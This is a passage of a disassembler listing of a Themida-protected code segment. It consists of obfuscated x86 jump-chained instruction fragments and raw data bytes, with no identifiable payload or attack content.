		dd 158C529h, 5B2D5DE8h,	293E1842h, 4BBF57E8h, 0E9153144h
		dd 3E04h, 2871EA81h, 0D629515Bh, 81D6015Ah, 48226EC6h
		dd 34875A67h, 0C83B5C24h, 0C8DEE99Ch, 0D801FFFFh, 42D5Bh
		dd 4870000h, 14895C24h,	0F092E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568D2E:				; CODE XREF: Themida_:0056D947j
		pop	esi
		push	ebp
		jmp	loc_565758
; ---------------------------------------------------------------------------


loc_568D35:				; CODE XREF: Themida_:0056F388j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_566BA0
; ---------------------------------------------------------------------------
		dd 0CCEB8166h, 0F39EE906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568D4A:				; CODE XREF: Themida_:0057081Aj
		sub	ebx, ecx
		pop	ecx
		add	ebx, 726903C0h
		push	7F04h
		mov	[esp], edx
		jmp	loc_56CD7E
; ---------------------------------------------------------------------------
		dd 0E95FFE29h, 70E1h
dword_568D68	dd 8B2434FFh, 0D2E92414h ; DATA	XREF: Themida_:0055C184o
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568D73:				; CODE XREF: Themida_:005663C3j
		push	dx
		push	ebx
		jmp	loc_564B92
; ---------------------------------------------------------------------------


loc_568D7B:				; CODE XREF: Themida_:00563D86j
		pop	esp
		jmp	loc_55D5E8
; ---------------------------------------------------------------------------
		db 89h,	0CEh, 8Bh
		dd 0C483240Ch, 242C8B04h, 104C483h, 6BE95EF3h, 51000006h
		dd 0FB0191B9h, 0B8504976h, 15F93441h, 8158C131h, 0EC4192C9h
		dd 3E9C131h, 94C1E981h,	0CD313496h, 5DE83159h, 7EABB850h
		dd 0EC837B6Dh, 24048904h, 0E92414F7h, 0FFFFCF5Ch
; ---------------------------------------------------------------------------


loc_568DD0:				; CODE XREF: Themida_:005691E2j
		push	1A13h
		mov	[esp], ecx
		jmp	loc_569182
; ---------------------------------------------------------------------------
		db 2Dh,	4, 0
		dd 4870000h, 2C895C24h,	0E7BE5624h, 0E92EB622h,	6C35h
		dd 47CFC281h, 0CA014781h, 47CFEA81h, 83594781h,	0FF5204C2h
		dd 5A042474h, 0E924048Fh, 0FFFF8652h, 6837B850h, 0C1483069h
		dd 8BE907E8h, 0B9FFFFE2h, 108383Eh, 52D7E981h, 0D9F722DEh
		dd 76FBF57h, 89E9796Ch,	81000068h, 4ECh, 24048900h, 21F36852h
		dd 8EE92AFFh
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568E4F:				; CODE XREF: Themida_:005711D8j
		pop	ebx
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_561120
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 1C895C24h, 0EC815624h, 4, 0BF243C89h, 2, 0F9E9FE89h
		dd 5AFFFFCDh, 4EC81h, 4890000h,	5E08924h, 4, 0FFFF4CE9h
		dd 1909BBFFh, 0F9BD40B4h, 0E9BF4BE6h, 6E12h, 4C381h, 0EB830000h
		dd 241C8704h, 8924248Bh, 5D54242Ch, 488EE9h, 24348900h
		dd 0C44DD2BEh, 1DC68113h, 815B3C7Bh, 0F413AECEh, 0EE814608h
		dd 5240C397h, 348BF229h, 4C48124h, 81000000h, 2B6A1BEEh
		dd 4BC68109h, 104931Fh,	4BEE81D6h, 0E904931Fh, 0FFFFB406h
		dd 4BFh, 247C0100h, 7AACE904h, 0DE200000h, 27B5515Bh, 0CDFED5F6h
		dd 0C003E5C0h, 0F58002E5h, 2DFF68F3h, 1C890000h, 8006B324h
		dd 0EBC0C4EBh, 32E38003h, 0FFC7FAE9h, 90685EFFh, 0E9000033h
		dd 0FFFF4B9Ah
; ---------------------------------------------------------------------------


loc_568F3C:				; CODE XREF: Themida_:00566802j
		mov	edi, esp
		jmp	loc_56349B
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FFFF15E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568F49:				; CODE XREF: Themida_:00562D4Aj
		add	eax, ecx
		pop	ecx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55D643
; ---------------------------------------------------------------------------
		dd 50241C89h, 8B50D089h, 0C481241Ch, 4,	8124048Bh, 4C4h
		dd 5B5D5300h, 8324148Bh, 60E904C4h, 89FFFF8Ch, 4812424h
		dd 424h, 24148B00h, 8104C483h, 4C2h, 2685300h, 5B000000h
		dd 525BDA01h, 42474FFh,	24048F5Ah, 2404085Ch, 3371E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568FB2:				; CODE XREF: Themida_:00562B0Fj
		mov	bh, 0BBh
		mov	dl, 0BBh
		xor	dl, bh
		pop	ebx
		push	ebx
		jmp	loc_55E269
; ---------------------------------------------------------------------------
		db 81h
		dd 0AE4761C1h, 241C8B16h, 24D4E9h, 0D1BA5200h, 4A46EF04h
		dd 33096856h, 0E95EFF07h, 5512h, 0C380C328h, 7730E95Eh
		dd 7C010000h, 295F0824h, 5504247Ch, 5103A9BDh, 246C293Ch
		dd 44815D08h, 5F20424h,	0B95150BAh, 1935882h, 8244C29h
		dd 24BD5559h, 81737305h, 0C908246Ch, 10B3110h, 0E908246Ch
		dd 0FFFFC5D5h, 54A768h,	240C8900h, 4B9h, 7F2BE900h, 48F0000h
		dd 4EC8124h, 89000000h,	0B6E9240Ch
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56904B:				; CODE XREF: Themida_:00571503j
		mov	ebp, 50F56343h
		and	ebp, 454161C6h
		push	edi
		mov	edi, 226A2E4Ch
		xor	ebp, edi
		pop	edi
		jmp	loc_570213
; ---------------------------------------------------------------------------


loc_569064:				; CODE XREF: Themida_:005692FFj
		pop	eax
		add	ecx, esi
		add	ecx, 1BE01CAAh
		mov	esi, [esp]
		jmp	loc_561EE2
; ---------------------------------------------------------------------------


loc_569075:				; CODE XREF: Themida_:0056A357j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edx
		jmp	loc_570923
; ---------------------------------------------------------------------------


loc_569088:				; CODE XREF: Themida_:0055EAE0j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		and	ebx, 6EE66756h
		and	ebx, 523E6909h
		neg	ebx
		inc	ebx
		not	ebx
		inc	ebx
		push	ecx
		mov	ecx, 3E6C18D9h
		or	ecx, 3E267C55h
		shl	ecx, 3
		not	ecx
		inc	ecx
		not	ecx
		jmp	loc_5619C1
; ---------------------------------------------------------------------------
		dw 3489h
		dd 81E68924h, 4C6h, 4B95100h, 81000000h, 84160BC6h, 43EE8175h
		dd 0E926AD36h, 0FFFF5E5Ch, 6804C483h, 413Bh, 52240C89h
		dd 40FFE9h, 18E78100h, 81632161h, 0D01A09F7h, 0E9FE2109h
		dd 0FFFF7D70h, 5024248Bh, 0FF6A0BE9h, 3164BFFFh, 0EF831C93h
		dd 79B8E901h, 0EB81FFFFh, 6CDD20F0h, 0C381D301h, 6CDD20F0h
		dd 2B9515Ah, 1000000h, 1C8759CBh, 0F665C24h, 9C2404B3h
		dd 0FF31E6E9h, 2404D2FFh, 31DDE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569146:				; CODE XREF: Themida_:00568B66j
		push	edi
		push	ecx
		mov	ecx, 5F854FE8h
		mov	edi, ecx
		pop	ecx
		add	[esp+4], edi
		pop	edi
		pop	ecx
		sub	ecx, 5F854FE8h
		jmp	loc_560D82
; ---------------------------------------------------------------------------
		db 5Bh,	8Fh, 4
		dd 24248B24h, 89242C89h, 29B850E5h, 0C178643Eh,	0D8F703E0h
		dd 21F14C05h, 376BE9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569182:				; CODE XREF: Themida_:00568DD8j
		mov	ecx, 39EF6972h
		mov	edi, 39EF6976h
		sub	edi, ecx
		pop	ecx
		add	eax, edi
		pop	edi
		jmp	loc_56380F
; ---------------------------------------------------------------------------
byte_569197	db 64h			; DATA XREF: Themida_:0055C0A4o
		dd 2B60F66h, 0CE7E951h,	5A660000h, 0E800602Ch, 60B65266h
		dd 0E6E9F000h, 5EFFFFDAh, 4EC81h, 1C890000h, 5998E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5691C2:				; CODE XREF: Themida_:0056DFC1j
		add	ebp, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_56B94D
; ---------------------------------------------------------------------------


loc_5691DF:				; CODE XREF: Themida_:0056C9F7j
		mov	[esp], edi
		jmp	loc_568DD0
; ---------------------------------------------------------------------------
		db 58h
		dd 405h, 4E88300h, 0E9240487h, 0FFFFCB0Ch, 0C86CDCBBh
		dd 8E3C156h, 0D6E9DBF7h, 0FFFFFF3Eh, 0E9042474h, 0B69h
		dd 55241C89h, 0EC012CBDh, 5DEB895Ch, 571DE94Bh,	0E95AFFFFh
		dd 7FEDh, 481565Fh, 2B157B24h, 3AE95B5Ch, 68FFFF56h, 0
		dd 5D242C81h, 29643C58h, 4812434h, 3C585D24h, 52C2E964h
		db 2 dup(0)
word_569252	dw 0E9ACh		; DATA XREF: Themida_:0055C0B0o
		dd 0FFFF3CE5h, 81E28952h, 4C2h,	4BF5700h, 1000000h, 0FF525FFAh
		dd 8B042474h, 1E92414h
		db 83h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569277:				; CODE XREF: Themida_:00562571j
		xor	esi, [esp]
		jmp	loc_571090
; ---------------------------------------------------------------------------
		db 1
		dd 0A2C581F5h, 5E10D160h, 0B850455Eh, 7E2D3151h, 0E958C521h
		dd 0FFFF72A9h, 652CE958h, 8952FFFFh, 4C281E2h, 0E9000000h
		dd 0FFFFFD7Ch, 2404335Eh, 7DE9E9h
		db 0
; ---------------------------------------------------------------------------


loc_5692B5:				; CODE XREF: Themida_:00568A37j
		mov	ebx, esp
		push	ecx
		jmp	loc_55CFCE
; ---------------------------------------------------------------------------


loc_5692BD:				; CODE XREF: Themida_:0056FD5Cj
		neg	ebx
		dec	ebx
		sub	ebx, 1ADB956Bh
		sub	edi, ebx
		pop	ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_56AFA9
; ---------------------------------------------------------------------------


loc_5692E6:				; CODE XREF: Themida_:00568A53j
		push	0
		jmp	loc_5630BD
; ---------------------------------------------------------------------------
		dd 0E904E0C1h, 4062h
; ---------------------------------------------------------------------------


loc_5692F8:				; CODE XREF: Themida_:0056EC18j
		mov	eax, 1BE01CAAh
		sub	ecx, eax
		jmp	loc_569064
; ---------------------------------------------------------------------------


loc_569304:				; CODE XREF: Themida_:0055CFDFj
		add	ebx, ecx
		pop	ecx
		push	esi
		push	ebp
		mov	ebp, 4
		mov	esi, ebp
		pop	ebp
		add	ebx, esi
		pop	esi
		jmp	loc_56BE52
; ---------------------------------------------------------------------------
		db 0BFh, 0EBh, 0Fh
		dd 0C7837414h, 71F781FFh, 68797772h, 4F0Bh, 57243489h
		dd 901A07BFh, 76FBE916h, 0F2890000h, 8124348Bh,	4C4h, 0BB30B800h
		dd 3105DF5Dh, 0E960DB11h, 0FFFF84A4h, 83242C8Bh, 0E98104C4h
		dd 56613FD5h, 430EBB53h, 58E93C46h, 5EFFFFADh, 0E9241487h
		dd 0FFFFE981h
; ---------------------------------------------------------------------------


loc_569374:				; CODE XREF: Themida_:00560E6Bj
		add	ebp, esi
		sub	ebp, 35981A42h
		jmp	loc_571258
; ---------------------------------------------------------------------------
		db 5Dh,	31h, 0FBh
		dd 2BCB815Fh, 502A536Dh, 7942C0B8h, 6E0C11Ch, 2E0C140h
		dd 6E8C140h, 42A9E42Dh,	0E9C33182h, 0FFFFB2D3h,	81E78957h
		dd 4C7h, 4EF8300h, 0E9243C87h, 0FFFF95B7h
; ---------------------------------------------------------------------------


loc_5693BC:				; CODE XREF: Themida_:005613E2j
		pop	edi
		sub	edi, 20E107DAh
		shr	edi, 1
		not	edi
		jmp	loc_562ACB
; ---------------------------------------------------------------------------
		dd 0C7815F54h, 4, 3304EF83h, 3C31243Ch,	0F420E924h, 0F381FFFFh
		dd 0AB42D8DEh, 0FFF92DE9h, 21C6BAFFh, 0DAF7403Ah, 5751EAD1h
		dd 1A0CD4BFh, 705EE96Fh, 1C330000h, 241C3124h, 8B241C33h
		dd 8B662424h, 4A68240Ch, 89000054h, 0E589242Ch,	1CC768h
		dd 0D1D5E900h, 0D3F6FFFFh, 17E9C3FEh
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56942F:				; CODE XREF: Themida_:005606F5j
		and	edx, 23DC15CBh
		push	esi
		push	edi
		push	74E6ADBh
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_569497
; ---------------------------------------------------------------------------
		dw 0F380h
aXauSlb		db '(b',0
		dw 8100h
		dd 4C4h, 0DCC58100h, 2DA6205Ch,	1A1F702Ch, 2C05E801h, 5D1A1F70h
		dd 0F249E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569476:				; CODE XREF: Themida_:0057004Bj
		pop	esp
		or	eax, eax
		jz	loc_570EC3
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_56BDA9
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 47E90000h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569497:				; CODE XREF: Themida_:00569445j
		xor	edi, 4A340FF0h
		sub	edi, 47C0C87h
		mov	esi, edi
		pop	edi
		shl	esi, 6
		inc	esi
		dec	esi
		xor	esi, 3D427D03h
		and	edx, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_56D823
; ---------------------------------------------------------------------------
		dd offset dword_589D68
		dw 8900h
		dd 44B9240Ch, 0C120FB4Eh, 0F18102E1h, 0AC66AD4Ah, 0FF87FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5694DD:				; CODE XREF: Themida_:0056CA8Bj
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_55C323
; ---------------------------------------------------------------------------
		db 89h,	0D8h, 5Bh
		dd 25CBA0Dh, 0DE0D113h,	24731813h, 6508E9h, 2E21E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569502:				; CODE XREF: Themida_:0055F39Aj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_56110E
; ---------------------------------------------------------------------------


loc_569517:				; CODE XREF: Themida_:005613B3j
		pop	eax
		xor	dh, 7Bh
		xor	cl, dh
		pop	edx
		add	al, 49h
		add	al, cl
		jmp	loc_56289B
; ---------------------------------------------------------------------------
		db 1
		dd 0C1815BD9h, 2, 2474FF51h, 2434FF04h,	218F6859h, 0C890000h
		dd 81E18924h, 4C1h, 4C18300h, 5C240C87h, 8B24048Fh, 26E92424h
		dd 53000001h, 0FA88C788h, 37E9585Bh, 8BFFFF52h,	0C483242Ch
		dd 0DDE95604h, 0C1FFFFB5h, 0DAF705EAh, 0BFEBC281h, 0D1897560h
		dd 0FDBF575Ah, 0C1122B24h, 3FE907EFh, 81000048h, 4C4h
		dd 0E9C88900h, 6257h
; ---------------------------------------------------------------------------


loc_56959C:				; CODE XREF: Themida_:005624A6j
		mov	eax, [esp]
		add	esp, 4
		push	31F2h
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_567C26
; ---------------------------------------------------------------------------
		db 5Fh,	57h, 0BFh
		dd 6C377608h, 1E81BB53h, 0DF29294Bh, 2F9AE95Bh,	0C481FFFFh
		dd 4, 815E5456h, 4C6h, 4C68100h, 0E9000000h, 0FFFFB2C7h
; ---------------------------------------------------------------------------


loc_5695E0:				; CODE XREF: Themida_:00560638j
		add	esi, 4
		jmp	loc_56B9ED
; ---------------------------------------------------------------------------


loc_5695EB:				; CODE XREF: Themida_:0055E803j
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 1DA6071Eh
		inc	ecx
		xor	ecx, 52556491h
		neg	ecx
		xor	ecx, 7B9B4CDDh
		add	ecx, 34682F55h
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 0E5C5C03h
		add	ecx, 45D84435h
		sub	ecx, 6181271Ah
		xor	ecx, 0F09E24E6h
		add	eax, ecx
		jmp	loc_56A5D6
; ---------------------------------------------------------------------------


loc_569637:				; CODE XREF: Themida_:0055C60Ej
		mov	esi, 6E265713h
		add	ecx, esi
		mov	esi, [esp]
		jmp	loc_55E683
; ---------------------------------------------------------------------------


loc_569646:				; CODE XREF: Themida_:0056EA84j
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		cmp	cx, ax
		pushf
		jmp	loc_56D21E
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48324h, 2C9BEB81h,	0FB2966A9h, 2C9BBA52h, 0D30166A9h
		dd 880FE95Ah, 0E801FFFFh, 0FF6DB5E9h, 0C8B66FFh, 3260E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56968A:				; CODE XREF: Themida_:0056FBA6j
		mov	[esp], edi
		jmp	loc_55D352
; ---------------------------------------------------------------------------


loc_569692:				; CODE XREF: Themida_:00568B58j
		add	esi, 42A1D428h
		mov	edx, esi
		pop	esi
		add	edx, 6B6B3389h
		xor	edx, 0C4AF3EDDh
		push	esi
		push	18B8h
		mov	[esp], edi
		push	ebp
		jmp	loc_56F8DA
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0F68FB224h, 8EC280D2h, 73E95152h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5696C7:				; CODE XREF: Themida_:0055F91Fj
		mov	edi, 36072541h
		add	eax, edi
		pop	edi
		mov	ebp, eax
		pop	eax
		inc	ebp
		or	ebp, 76316748h
		shr	ebp, 5
		shr	ebp, 2
		jmp	loc_566936
; ---------------------------------------------------------------------------
aI4SQ		db '4$|q',0
		align 4


loc_5696EC:				; CODE XREF: Themida_:00564864j
		push	ebp
		push	eax
		sub	esp, 4
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		jmp	loc_5645DA
; ---------------------------------------------------------------------------
		dw 0F301h
		dd 241C335Eh, 33241C31h, 14E9241Ch
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569713:				; CODE XREF: Themida_:00565F26j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_56D701
; ---------------------------------------------------------------------------
		dd 42474FFh, 5024348Bh,	405E089h, 52000000h, 0FF3DB8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569739:				; CODE XREF: Themida_:0056C9A7j
		pop	ebp
		push	edi
		jmp	loc_564FF8
; ---------------------------------------------------------------------------
aI42zv7se7	db '\4$2z77',0
		align 2
		dw 0F029h
		dd 0FF443EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569755:				; CODE XREF: Themida_:00562EFAj
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 26B62ECDh
		and	edx, 76134DCAh
		push	esi
		mov	esi, 6AA13865h
		add	edx, 352651F9h
		add	edx, esi
		jmp	loc_561291
; ---------------------------------------------------------------------------


loc_569782:				; CODE XREF: Themida_:0056FAD4j
		add	ecx, edx
		sub	ecx, 26C8742Eh
		pop	edx
		add	ecx, edx
		sub	ecx, 45CD4FB4h
		pop	edx
		jmp	loc_5631E6
; ---------------------------------------------------------------------------
		db 80h,	0F5h, 0FEh
		dd 0E959EB88h, 2C17h, 31240C33h, 0C33240Ch, 68525C24h
		dd 5815h, 88241C89h, 4EC81CBh, 89000000h, 0D988240Ch, 8B59CE88h
		dd 0C481241Ch, 4, 1877488h, 2434FF5Ah, 0CE73E959h, 0E953FFFFh
		dd 2E0Ah, 0C157392Dh, 46C3053Eh, 0EC81416Bh, 4,	0BE243489h
		dd 0BBC4BF2h, 97CC32Dh,	5F02934h, 34097CC3h, 5668E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56980E:				; CODE XREF: Themida_:00563C1Aj
		mov	esp, [esp]
		jmp	loc_55C323
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24148B24h, 0E904C483h, 0FFFF4B3Ah
; ---------------------------------------------------------------------------


loc_569824:				; CODE XREF: Themida_:0056D2E6j
		mov	ch, dh
		pop	edx
		xor	al, ch
		jmp	loc_566B67
; ---------------------------------------------------------------------------
word_56982E	dw 8B66h		; DATA XREF: Themida_:0055C260o
		dd 89532404h, 4BA52E3h,	1000000h, 0BE565AD3h, 4, 335EF329h
		dd 7BE9241Ch, 2900000Bh, 0D00159CAh, 0FF76E5E9h, 0B8505AFFh
		dd 4, 67E9C201h, 66FFFF96h, 0B2241489h,	28FE2C2Ah, 66FE04D0h
		dd 8324148Bh, 0C40402C4h, 4EC81h, 0BE90000h
		db 99h,	2 dup(0FFh)
byte_569887	db 66h			; DATA XREF: Themida_:0055C1E8o
		dd 66241C31h, 66241C33h, 66241C31h, 34316653h, 34336624h
		dd 34316624h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], si
		xchg	si, [esp]
		not	si
		xchg	si, [esp]
		mov	si, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	eax
		jmp	loc_56CA0B
; ---------------------------------------------------------------------------
		dd 0E1438FBDh, 0D8ED8150h, 4547281Fh, 0ED81D5F7h, 1, 718BE950h
		dd 0F75DFFFFh, 4EC83D0h, 56241489h, 0FFE576E9h,	0E9F301FFh
		dd 5C02h, 2EC81h, 89660000h, 8DB1240Ch,	8B66CE88h, 75E9240Ch
		dd 50FFFF79h, 0FF76F9E9h, 5FFA89FFh, 2428BE56h,	0D6F73BBCh
		dd 654AC681h, 0C681259Dh, 4CB36BA8h, 0B6A2C681h, 0F681F08Fh
		dd 791B77BCh, 4836E9h, 0ABE95000h
		db 0B4h, 2 dup(0FFh)
byte_56995B	db 66h			; DATA XREF: Themida_:0055C1FCo
		dd 83240C8Bh, 73E904ECh, 89FFFFBCh, 4812424h, 424h, 0C6815E00h
		dd 4, 8704C683h, 875C2434h, 248B243Ch, 2B05E924h, 0E589FFFFh
		dd 4C581h, 0E9560000h, 543Eh
; ---------------------------------------------------------------------------


loc_569998:				; CODE XREF: Themida_:00562EA5j
		add	dl, 62h
		inc	dl
		add	dl, 70h
		xor	ch, dl
		push	dword ptr [esp]
		pop	edx
		push	edi
		jmp	loc_55D9D3
; ---------------------------------------------------------------------------
		dd 0F863EA81h, 0D789F3D9h, 0C2E7815Ah, 0F7443822h, 0F72BE9D7h
		dd 5C04FFFFh, 19F9E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5699CA:				; CODE XREF: Themida_:00564C58j
		sub	eax, 23D17A06h
		jmp	loc_5617A8
; ---------------------------------------------------------------------------
aIS		db ',$>#',0
		align 4
		dd 5C243487h, 50241489h, 0B753A2B0h, 0F4C780AAh, 8811F780h
		dd 241C8BFEh, 4C481h, 0C6300000h, 8324048Bh, 6FE904C4h
		dd 5FFFFF9Bh, 6C69C781h, 81591202h, 9F10BEEAh, 35D2E912h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569A1A:				; CODE XREF: Themida_:00560E33j
		pop	ebp
		rep movsd
		add	esp, [edx+38h]
		push	esi
		jmp	loc_56A1C9
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 3B5BEA81h, 0D601A7C0h, 8EEC15Ah, 0E905E6C1h,	0FFFF4C83h
		dd 15105ABFh, 673BA03h,	0FA0154E2h, 81243C8Bh, 4C4h, 0D2685500h
		dd 89000018h, 0BB532404h, 187C555Dh, 0B26F381h,	9DE9317Eh
		db 7Ah,	2 dup(0)
aN1H		db '1h-',0           ; DATA XREF: Themida_:0055C250o
		dw 8900h
		dd 0B951243Ch, 7F9D6595h, 8302E1C1h, 0F79101E9h, 3FE951D0h
		dd 53FFFF7Ah, 0A94065BBh, 3DAEE941h, 0C7810000h, 0A884751h
		dd 0FFCAFFE9h, 8BC801FFh, 0C9E9240Ch, 8900005Ch, 0CA0158C1h
		dd 3AE95659h, 0BAFFFF9Eh, 4, 148BD601h,	4C48324h, 486468h
		dd 24348900h, 42474FFh,	24048F5Eh, 0C8BF0F5Ch, 344D68h
		dd 0CCA0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569AE2:				; CODE XREF: Themida_:0055F3DAj
		add	ebx, 4
		push	edi
		mov	edi, 4
		sub	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_565B40
; ---------------------------------------------------------------------------


loc_569B04:				; CODE XREF: Themida_:0056DBEEj
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		jmp	loc_56FFDF
; ---------------------------------------------------------------------------
		dd 11B8E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_568432
; ---------------------------------------------------------------------------


loc_569B33:				; CODE XREF: Themida_:0056A8B7j
		mov	cx, [esp]
		push	69A9h
		jmp	loc_55D95C
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 68h
		dd 3E3h, 0FF702DE9h, 404058FFh,	5103E0C1h, 1169E9h, 6FEA8100h
		dd 0E922A502h, 0FFFF27BFh
; ---------------------------------------------------------------------------


loc_569B64:				; CODE XREF: Themida_:0056E02Dj
		mov	eax, ebp
		pop	ebp
		mov	ebp, 213670BBh
		xor	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_5617E5
; ---------------------------------------------------------------------------


loc_569B7D:				; CODE XREF: Themida_:0055EB01j
		add	ecx, 9817638h
		add	ecx, 0CA240B33h
		jmp	loc_55D216
; ---------------------------------------------------------------------------
		dw 1487h
		dd 3DE95C24h, 2DFFFFFEh, 4, 0FFB003E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569BA1:				; CODE XREF: Themida_:00563591j
		sub	dh, ch
		pop	ecx
		sub	dh, 0FAh
		jmp	loc_56D2D4
; ---------------------------------------------------------------------------
		dd 5EE9C801h, 66000047h, 0AD07F581h, 0FF3136E9h, 243C33FFh
		dd 33243C31h, 248B243Ch, 0F56FE924h, 1489FFFFh,	274DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569BD6:				; CODE XREF: Themida_:005620E6j
		mov	eax, 1
		sub	ebx, eax
		pop	eax
		or	ebx, 78006BF4h
		dec	ebx
		xor	ebx, 7FC07BEFh
		push	ebx
		add	dword ptr [esp], 28BD0B06h
		pop	eax
		sub	eax, 28BD0B06h
		pop	ebx
		sub	eax, 5722253Bh
		jmp	loc_55D401
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFF51BCh
; ---------------------------------------------------------------------------


loc_569C0C:				; CODE XREF: Themida_:0055CF38j
		mov	eax, [esp]
		jmp	loc_56C3AA
; ---------------------------------------------------------------------------
		dd 8B5EF289h, 0C483242Ch, 0FD05E904h, 0B3BDFFFFh, 0F7674049h
		dd 0E5814DD5h, 170B61D9h, 374FC581h, 0EE290167h, 81DE015Dh
		dd 725798C6h, 0EC815B11h, 4, 57240C89h,	686E6E68h, 0E7C15F0Ah
		dd 6F71E907h, 0C4E9FFFFh, 5AFFFF26h, 0FF7836E9h, 4BD55FFh
		dd 89000000h, 0D3295DEAh, 241C875Ah, 243C895Ch,	0CE0E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569C7E:				; CODE XREF: Themida_:0055DFD0j
		mov	eax, [esp]
		add	esp, 4
		sub	cl, 0D0h
		sub	cl, dh
		add	cl, 0D0h
		pop	edx
		jmp	loc_56EC7D
; ---------------------------------------------------------------------------


loc_569C95:				; CODE XREF: Themida_:0056F817j
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_564FEF
; ---------------------------------------------------------------------------
		dw 5758h
		dd 30A39BFh, 0E9FA0139h, 0FFFF9253h, 0E9243489h, 0FFFFFE85h
; ---------------------------------------------------------------------------


loc_569CBC:				; CODE XREF: Themida_:0056E727j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_566B13
; ---------------------------------------------------------------------------


loc_569CC7:				; CODE XREF: Themida_:00566401j
		add	bl, 0EEh
		add	bl, ah
		sub	bl, 0EEh
		pop	eax
		pop	edx
		movzx	eax, al
		jmp	loc_56A590
; ---------------------------------------------------------------------------
		db 66h,	0Fh, 0B6h
		dd 0D36866CCh, 0C89664Ch, 23E7E924h, 0C1810000h, 0FFFFFFFFh
		dd 43A0BF57h, 0F9315D9Bh, 246C815Fh, 66562904h,	34F4E94Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569D06:				; CODE XREF: Themida_:005622FBj
		mov	ebx, 0D96CB98h
		sub	edx, ebx
		jmp	loc_55EADD
; ---------------------------------------------------------------------------


loc_569D12:				; CODE XREF: Themida_:00560974j
		sub	ecx, 975CD0BEh
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		shl	ebp, 1
